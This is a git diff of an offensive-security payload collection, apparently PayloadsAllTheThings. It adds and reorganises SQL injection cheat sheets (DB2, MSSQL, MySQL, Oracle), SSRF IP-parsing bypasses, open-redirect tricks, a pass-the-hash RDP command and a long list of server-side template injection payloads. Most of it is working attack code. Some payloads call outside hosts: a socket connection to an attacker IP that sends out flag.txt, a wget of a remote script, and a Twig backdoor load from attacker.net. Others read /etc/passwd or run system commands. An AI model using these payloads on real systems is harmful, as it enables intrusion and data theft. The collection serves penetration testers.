+* [Universal Privilege Escalation and Persistence – Printer - AUGUST 2, 2021)](https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/)
\ No newline at end of file
diff --git a/Methodology and Resources/Windows - Using credentials.md b/Methodology and Resources/Windows - Using credentials.md
index 4c6e96a..346c8f4 100644
--- a/Methodology and Resources/Windows - Using credentials.md
+++ b/Methodology and Resources/Windows - Using credentials.md
@@ -292,6 +292,7 @@ Abuse RDP protocol to execute commands remotely with the following commands;
# pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
# pass the hash works for Server 2012 R2 / Win 8.1+
+ # require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11
root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d
```
* [SharpRDP](https://github.com/0xthirteen/SharpRDP)
diff --git a/Open Redirect/README.md b/Open Redirect/README.md
index ec2cfb7..e54f9c5 100644
--- a/Open Redirect/README.md
+++ b/Open Redirect/README.md
@@ -63,10 +63,11 @@ Using CRLF to bypass "javascript" blacklisted keyword
java%0d%0ascript%0d%0a:alert(0)
```
-Using "//" to bypass "http" blacklisted keyword
+Using "//" & "////" to bypass "http" blacklisted keyword
```powershell
//google.com
+////google.com
```
Using "https:" to bypass "//" blacklisted keyword
diff --git a/SQL Injection/DB2 Injection.md b/SQL Injection/DB2 Injection.md
new file mode 100644
index 0000000..ad0be93
--- /dev/null
+++ b/SQL Injection/DB2 Injection.md
@@ -0,0 +1,208 @@
+# DB2 Injection
+
+>
+
+## Summary
+
+* [DB2 Cheatsheet](#db2-cheatsheet)
+* [References](#references)
+
+## DB2 Cheatsheet
+
+### Version
+
+```sql
+select versionnumber, version_timestamp from sysibm.sysversions;
+select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
+select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+)
+select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
+select service_level,bld_level from sysibmadm.env_inst_info
+```
+
+### Comments
+
+```sql
+select blah from foo -- comment like this (double dash)
+```
+
+### Current User
+
+```sql
+select user from sysibm.sysdummy1
+select session_user from sysibm.sysdummy1
+select system_user from sysibm.sysdummy1
+```
+
+### List Users
+
+DB2 uses OS accounts
+
+```sql
+select distinct(authid) from sysibmadm.privileges -- priv required
+select grantee from syscat.dbauth -- incomplete results
+select distinct(definer) from syscat.schemata -- more accurate
+select distinct(grantee) from sysibm.systabauth -- same as previous
+```
+
+### List Privileges
+
+```sql
+select * from syscat.tabauth -- shows priv on tables
+select * from syscat.tabauth where grantee = current user -- shows privs for current user
+select * from syscat.dbauth where grantee = current user;;
+select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies
+```
+
+### List DBA Accounts
+
+```sql
+select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'
+select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’
+```
+
+### Current Database
+
+```sql
+select current server from sysibm.sysdummy1
+```
+
+### List Databases
+
+```sql
+select distinct(table_catalog) from sysibm.tables
+SELECT schemaname FROM syscat.schemata;
+```
+
+### List Columns
+
+```sql
+select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat
+```
+
+### List Tables
+
+```sql
+select table_name from sysibm.tables
+select name from sysibm.systables
+```
+
+### Find Tables From Column Name
+
+```sql
+select tbname from sysibm.syscolumns where name='username'
+```
+
+### Select Nth Row
+
+```sql
+select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
+```
+
+### Select Nth Char
+
+```sql
+select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b
+```
+
+### Bitwise AND/OR/NOT/XOR
+
+```sql
+select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot
+```
+
+### ASCII Value
+
+```sql
+Char select chr(65) from sysibm.sysdummy1 -- returns 'A'
+```
+
+### Char -> ASCII Value
+
+```sql
+select ascii('A') from sysibm.sysdummy1 -- returns 65
+```
+
+### Casting
+
+```sql
+select cast('123' as integer) from sysibm.sysdummy1
+select cast(1 as char) from sysibm.sysdummy1
+```
+
+### String Concat
+
+```sql
+select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc'
+select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'
+```
+
+
+### IF Statement
+Seems only allowed in stored procedures. Use case logic instead.
+
+### Case Statement
+
+```sql
+select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1
+```
+
+
+### Avoiding Quotes
+
+```sql
+SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”. Works without select too
+```
+
+### Time Delay
+
+Heavy queries, for example: If user starts with ascii 68 ('D'), the heavy query will be executed, delaying the response.
+However, if user doesn't start with ascii 68, the heavy query won't execute and thus the response will be faster.
+```sql
+' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68
+```
+
+### Serialize to XML (for error based)
+
+```sql
+select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string
+select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements
+select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result.
+```
+
+### Command Execution and Local File Access
+
+Seems it's only allowed from procedures or UDFs.
+
+### Hostname/IP and OS INFO
+
+```sql
+select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv
+```
+
+### Location of DB Files
+
+```sql
+select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv
+```
+
+### System Config
+
+```sql
+select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.
+select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.
+```
+
+### Default System Database
+
+* SYSIBM
+* SYSCAT
+* SYSSTAT
+* SYSPUBLIC
+* SYSIBMADM
+* SYSTOOLs
+
+
+## References
+
+* [DB2 SQL injection cheat sheet - Adrián - 20/05/2012](https://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/)
+* [DB2 SQL Injection Cheat Sheet - pentestmonkey](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
\ No newline at end of file
diff --git a/SQL Injection/MSSQL Injection.md b/SQL Injection/MSSQL Injection.md
index e953694..1ee72f9 100644
--- a/SQL Injection/MSSQL Injection.md
+++ b/SQL Injection/MSSQL Injection.md
@@ -2,9 +2,11 @@
## Summary
-* [MSSQL comments](#mssql-comments)
-* [MSSQL version](#mssql-version)
-* [MSSQL database name](#mssql-database-name)
+* [MSSQL Comments](#mssql-comments)
+* [MSSQL User](#mssql-user)
+* [MSSQL Version](#mssql-version)
+* [MSSQL Hostname](#mssql-hostname)
+* [MSSQL Database name](#mssql-database-name)
* [MSSQL List databases](#mssql-list-databases)
* [MSSQL List columns](#mssql-list-columns)
* [MSSQL List tables](#mssql-list-tables)
@@ -22,7 +24,7 @@
* [MSSQL Make user DBA](#mssql-make-user-dba-db-admin)
* [MSSQL Trusted Links](#mssql-trusted-links)
-## MSSQL comments
+## MSSQL Comments
```sql
-- comment goes here
@@ -33,6 +35,9 @@
```sql
SELECT CURRENT_USER
+SELECT user_name();
+SELECT system_user;
+SELECT user;
```
## MSSQL version
@@ -41,7 +46,14 @@ SELECT CURRENT_USER
SELECT @@version
```
-## MSSQL database name
+## MSSQL Hostname
+
+```sql
+SELECT HOST_NAME()
+SELECT @@hostname;
+```
+
+## MSSQL Database name
```sql
SELECT DB_NAME()
@@ -52,6 +64,7 @@ SELECT DB_NAME()
```sql
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
+SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
```
## MSSQL List columns
@@ -71,6 +84,7 @@ SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
SELECT table_catalog, table_name FROM information_schema.columns
+SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
```
## MSSQL Extract user/password
@@ -122,6 +136,13 @@ For string inputs : ' + cast((SELECT @@version) as int) + '
## MSSQL Blind based
```sql
+AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
+
+AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
+AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
+
+AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
+
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
@@ -283,4 +304,5 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
* [MSSQL Trusted Links - HackTricks.xyz](https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links)
* [SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6th, 2013](https://blog.netspi.com/how-to-hack-database-links-in-sql-server/)
* [DAFT: Database Audit Framework & Toolkit - NetSPI](https://github.com/NetSPI/DAFT)
-* [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e)
\ No newline at end of file
+* [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e)
+* [Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009](https://www.exploit-db.com/papers/12975)
diff --git a/SQL Injection/MySQL Injection.md b/SQL Injection/MySQL Injection.md
index c4df66b..1764a13 100644
--- a/SQL Injection/MySQL Injection.md
+++ b/SQL Injection/MySQL Injection.md
@@ -389,6 +389,10 @@ Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
```
+```sql
+UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));
+```
+
If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query
```sql
diff --git a/SQL Injection/OracleSQL Injection.md b/SQL Injection/OracleSQL Injection.md
index 633e24c..45c0d66 100644
--- a/SQL Injection/OracleSQL Injection.md
+++ b/SQL Injection/OracleSQL Injection.md
@@ -58,6 +58,8 @@ SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
| Invalid XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
| Invalid XML | SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual |
| Invalid XML | SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users |
+| SQL Error | SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) |
+
## Oracle SQL Blind
diff --git a/Server Side Request Forgery/README.md b/Server Side Request Forgery/README.md
index f9c865d..f522a74 100644
--- a/Server Side Request Forgery/README.md
+++ b/Server Side Request Forgery/README.md
@@ -12,6 +12,7 @@
* [Bypass localhost with a domain redirection](#bypass-localhost-with-a-domain-redirection)
* [Bypass localhost with CIDR](#bypass-localhost-with-cidr)
* [Bypass using a decimal IP location](#bypass-using-a-decimal-ip-location)
+ * [Bypass using octal IP](#bypass-using-octal-ip)
* [Bypass using IPv6/IPv4 Address Embedding](#bypass-using-ipv6ipv4-address-embedding)
* [Bypass using malformed urls](#bypass-using-malformed-urls)
* [Bypass using rare address](#bypass-using-rare-address)
@@ -136,13 +137,29 @@ http://127.0.0.0
### Bypass using a decimal IP location
```powershell
-http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
```
+### Bypass using octal IP
+
+Implementations differ on how to handle octal format of ipv4.
+
+```sh
+http://0177.0.0.1/ = http://127.0.0.1
+http://o177.0.0.1/ = http://127.0.0.1
+http://0o177.0.0.1/ = http://127.0.0.1
+http://q177.0.0.1/ = http://127.0.0.1
+...
+```
+
+Ref:
+- [DEFCON 29-KellyKaoudis SickCodes-Rotten code, aging standards & pwning IPv4 parsing](https://www.youtube.com/watch?v=_o1RPJAe4kU)
+- [AppSecEU15-Server_side_browsing_considered_harmful.pdf](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
+
+
### Bypass using IPv6/IPv4 Address Embedding
[IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm)
@@ -433,7 +450,7 @@ gopher://127.0.0.1:6379/_save
## SSRF exploiting PDF file
-![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_PDF.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_PDF.jpg?raw=true)
+![https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Request%20Forgery/Images/SSRF_PDF.png](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Request%20Forgery/Images/SSRF_PDF.png)
Example with [WeasyPrint by @nahamsec](https://www.youtube.com/watch?v=t5fB6OZsR6c&feature=emb_title)
@@ -441,6 +458,18 @@ Example with [WeasyPrint by @nahamsec](https://www.youtube.com/watch?v=t5fB6OZsR
```
+Example with PhantomJS
+
+```js
+
+```
+
## Blind SSRF
> When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read.
@@ -797,6 +826,7 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se
## References
+- [AppSecEU15-Server_side_browsing_considered_harmful.pdf](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
- [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - 2017-12-13](https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/)
- [ESEA Server-Side Request Forgery and Querying AWS Meta Data](http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/) by Brett Buerhaus
- [SSRF and local file read in video to gif converter](https://hackerone.com/reports/115857)
diff --git a/Server Side Template Injection/Intruder/ssti.fuzz b/Server Side Template Injection/Intruder/ssti.fuzz
index ced385b..97f5356 100644
--- a/Server Side Template Injection/Intruder/ssti.fuzz
+++ b/Server Side Template Injection/Intruder/ssti.fuzz
@@ -46,4 +46,63 @@ ${"freemarker.template.utility.Execute"?new()("id")}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
-${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
\ No newline at end of file
+${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}${self.module.cache.util.os.system("id")}
+${self.module.runtime.util.os.system("id")}
+${self.template.module.cache.util.os.system("id")}
+${self.module.cache.compat.inspect.os.system("id")}
+${self.__init__.__globals__['util'].os.system('id')}
+${self.template.module.runtime.util.os.system("id")}
+${self.module.filters.compat.inspect.os.system("id")}
+${self.module.runtime.compat.inspect.os.system("id")}
+${self.module.runtime.exceptions.util.os.system("id")}
+${self.template.__init__.__globals__['os'].system('id')}
+${self.module.cache.util.compat.inspect.os.system("id")}
+${self.module.runtime.util.compat.inspect.os.system("id")}
+${self.template._mmarker.module.cache.util.os.system("id")}
+${self.template.module.cache.compat.inspect.os.system("id")}
+${self.module.cache.compat.inspect.linecache.os.system("id")}
+${self.template._mmarker.module.runtime.util.os.system("id")}
+${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
+${self.template.module.filters.compat.inspect.os.system("id")}
+${self.template.module.runtime.compat.inspect.os.system("id")}
+${self.module.filters.compat.inspect.linecache.os.system("id")}
+${self.module.runtime.compat.inspect.linecache.os.system("id")}
+${self.template.module.runtime.exceptions.util.os.system("id")}
+${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
+${self.context._with_template.module.cache.util.os.system("id")}
+${self.module.runtime.exceptions.compat.inspect.os.system("id")}
+${self.template.module.cache.util.compat.inspect.os.system("id")}
+${self.context._with_template.module.runtime.util.os.system("id")}
+${self.module.cache.util.compat.inspect.linecache.os.system("id")}
+${self.template.module.runtime.util.compat.inspect.os.system("id")}
+${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
+${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
+${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
+${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
+${self.template.module.cache.compat.inspect.linecache.os.system("id")}
+${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
+${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
+${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
+${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
+${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
+${self.template.module.filters.compat.inspect.linecache.os.system("id")}
+${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
+${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
+${self.context._with_template._mmarker.module.cache.util.os.system("id")}
+${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
+${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
+${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
+${self.context._with_template.module.cache.compat.inspect.os.system("id")}
+${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
+${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
+${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
+${self.context._with_template.module.filters.compat.inspect.os.system("id")}
+${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
+${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
+${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
+{{self._TemplateReference__context.cycler.__init__.__globals__.os}}
+{{self._TemplateReference__context.joiner.__init__.__globals__.os}}
+{{self._TemplateReference__context.namespace.__init__.__globals__.os}}
+{{cycler.__init__.__globals__.os}}
+{{joiner.__init__.__globals__.os}}
+{{namespace.__init__.__globals__.os}}
diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md
index 9d2247a..66388e3 100644
--- a/Server Side Template Injection/README.md
+++ b/Server Side Template Injection/README.md
@@ -6,32 +6,21 @@
* [Tools](#tools)
* [Methodology](#methodology)
-* [Ruby](#ruby)
- * [Basic injections](#ruby---basic-injections)
- * [Retrieve /etc/passwd](#ruby---retrieve--etc-passwd)
- * [List files and directories](#ruby---list-files-and-directories)
-* [Java](#java)
- * [Basic injection](#java---basic-injection)
- * [Retrieve the system’s environment variables](#java---retrieve-the-system-s-environment-variables)
- * [Retrieve /etc/passwd](#java---retrieve--etc-passwd)
+* [ASP.NET Razor](#aspnet-razor)
+ * [Basic injection](#aspnet-razor---basic-injection)
+ * [Command execution](#aspnet-razor---command-execution)
* [Expression Language EL](#expression-language-el)
* [Basic injection](#expression-language-el---basic-injection)
* [Code execution](#expression-language-el---code-execution)
-* [Twig](#twig)
- * [Basic injection](#twig---basic-injection)
- * [Template format](#twig---template-format)
- * [Arbitrary File Reading](#twig---arbitrary-file-reading)
- * [Code execution](#twig---code-execution)
-* [Smarty](#smarty)
* [Freemarker](#freemarker)
* [Basic injection](#freemarker---basic-injection)
* [Code execution](#freemarker---code-execution)
-* [Pebble](#pebble)
- * [Basic injection](#pebble---basic-injection)
- * [Code execution](#pebble---code-execution)
-* [Jade / Codepen](#jade---codepen)
-* [Velocity](#velocity)
-* [Mako](#mako)
+* [Handlebars](#handlebars)
+* [Jade / Codepen](#jade--codepen)
+* [Java](#java)
+ * [Basic injection](#java---basic-injection)
+ * [Retrieve the system’s environment variables](#java---retrieve-the-systems-environment-variables)
+ * [Retrieve /etc/passwd](#java---retrieve-etcpasswd)
* [Jinja2](#jinja2)
* [Basic injection](#jinja2---basic-injection)
* [Template format](#jinja2---template-format)
@@ -45,10 +34,22 @@
* [Jinjava](#jinjava)
* [Basic injection](#jinjava---basic-injection)
* [Command execution](#jinjava---command-execution)
-* [Handlebars](#handlebars)
-* [ASP.NET Razor](#aspnet-razor)
- * [Basic injection](#aspnet-razor---basic-injection)
- * [Command execution](#aspnet-razor---command-execution)
+* [Lessjs](#lessjs)
+* [Mako](#mako)
+* [Pebble](#pebble)
+ * [Basic injection](#pebble---basic-injection)
+ * [Code execution](#pebble---code-execution)
+* [Ruby](#ruby)
+ * [Basic injections](#ruby---basic-injections)
+ * [Retrieve /etc/passwd](#ruby---retrieve-etcpasswd)
+ * [List files and directories](#ruby---list-files-and-directories)
+* [Smarty](#smarty)
+* [Twig](#twig)
+ * [Basic injection](#twig---basic-injection)
+ * [Template format](#twig---template-format)
+ * [Arbitrary File Reading](#twig---arbitrary-file-reading)
+ * [Code execution](#twig---code-execution)
+* [Velocity](#velocity)
* [References](#references)
## Tools
@@ -66,90 +67,52 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
![SSTI cheatsheet workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/serverside.png?raw=true)
-## Ruby
+---
-### Ruby - Basic injections
+## ASP.NET Razor
-ERB:
+[Official website](https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c)
+> Razor is a markup syntax that lets you embed server-based code (Visual Basic and C#) into web pages.
-```ruby
-<%= 7 * 7 %>
-```
-
-Slim:
-
-```ruby
-#{ 7 * 7 }
-```
-
-### Ruby - Retrieve /etc/passwd
-
-```ruby
-<%= File.open('/etc/passwd').read %>
-```
-
-### Ruby - List files and directories
-
-```ruby
-<%= Dir.entries('/') %>
-```
-
-### Ruby - Code execution
-
-Execute code using SSTI for ERB engine.
-
-```ruby
-<%= system('cat /etc/passwd') %>
-<%= `ls /` %>
-<%= IO.popen('ls /').readlines() %>
-<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
-<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
-```
-
-
-Execute code using SSTI for Slim engine.
+### ASP.NET Razor - Basic injection
```powershell
-#{ %x|env| }
+@(1+2)
```
-## Java
+### ASP.NET Razor - Command execution
-### Java - Basic injection
-
-```java
-${7*7}
-${{7*7}}
-${class.getClassLoader()}
-${class.getResource("").getPath()}
-${class.getResource("../../../../../index.htm").getContent()}
+```csharp
+@{
+ // C# code
+}
```
-### Java - Retrieve the system’s environment variables
-
-```java
-${T(java.lang.System).getenv()}
-```
-
-### Java - Retrieve /etc/passwd
-
-```java
-${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
-
-${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
-```
+---
## Expression Language EL
+[Official website](https://docs.oracle.com/javaee/6/tutorial/doc/gjddd.html)
+> Expression Language (EL) is mechanism that simplifies the accessibility of the data stored in Java bean component and other object like request, session and application, etc. There are many operators in JSP that are used in EL like arithmetic and logical operators to perform an expression. It was introduced in JSP 2.0
+
### Expression Language EL - Basic injection
```java
-${1+1}
+${1+1}
#{1+1}
```
-### Expression Language EL - Code Execution
+### Expression Language EL - One-Liner injections not including code execution
+```java
+// DNS Lookup
+${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}
+
+// JVM System Property Lookup (ex: java.class.path)
+${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
+```
+
+### Expression Language EL - Code Execution
```java
// Common RCE payloads
@@ -179,73 +142,18 @@ ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().g
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
```
-
-## Twig
-
-### Twig - Basic injection
-
-```python
-{{7*7}}
-{{7*'7'}} would result in 49
-{{dump(app)}}
-{{app.request.server.all|join(',')}}
-```
-
-### Twig - Template format
-
-```python
-$output = $twig > render (
- 'Dear' . $_GET['custom_greeting'],
- array("first_name" => $user.first_name)
-);
-
-$output = $twig > render (
- "Dear {first_name}",
- array("first_name" => $user.first_name)
-);
-```
-
-### Twig - Arbitrary File Reading
-
-```python
-"{{'/etc/passwd'|file_excerpt(1,30)}}"@
-```
-
-### Twig - Code execution
-
-```python
-{{self}}
-{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
-{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
-{{['id']|filter('system')}}
-{{['cat\x20/etc/passwd']|filter('system')}}
-{{['cat$IFS/etc/passwd']|filter('system')}}
-```
-
-Example with an email passing FILTER_VALIDATE_EMAIL PHP.
-
-```powershell
-POST /subscribe?0=cat+/etc/passwd HTTP/1.1
-email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
-```
-
-## Smarty
-
-```python
-{$smarty.version}
-{php}echo `id`;{/php} //deprecated in smarty v3
-{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}
-{system('ls')} // compatible v3
-{system('cat index.php')} // compatible v3
-```
+---
## Freemarker
+[Official website](https://freemarker.apache.org/)
+> Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.
+
You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
### Freemarker - Basic injection
-The template can be `${3*3}` or the legacy `#{3*3}`
+The template can be `${3*3}` or the legacy `#{3*3}`.
### Freemarker - Code execution
@@ -267,37 +175,44 @@ ${"freemarker.template.utility.Execute"?new()("id")}
${dwf.newInstance(ec,null)("id")}
```
-## Pebble
+---
-### Pebble - Basic injection
+## Handlebars
-```java
-{{ someString.toUPPERCASE() }}
+[Official website](https://handlebarsjs.com/)
+> Handlebars compiles templates into JavaScript functions.
+
+### Handlebars - Command Execution
+
+```handlebars
+{{#with "s" as |string|}}
+ {{#with "e"}}
+ {{#with split as |conslist|}}
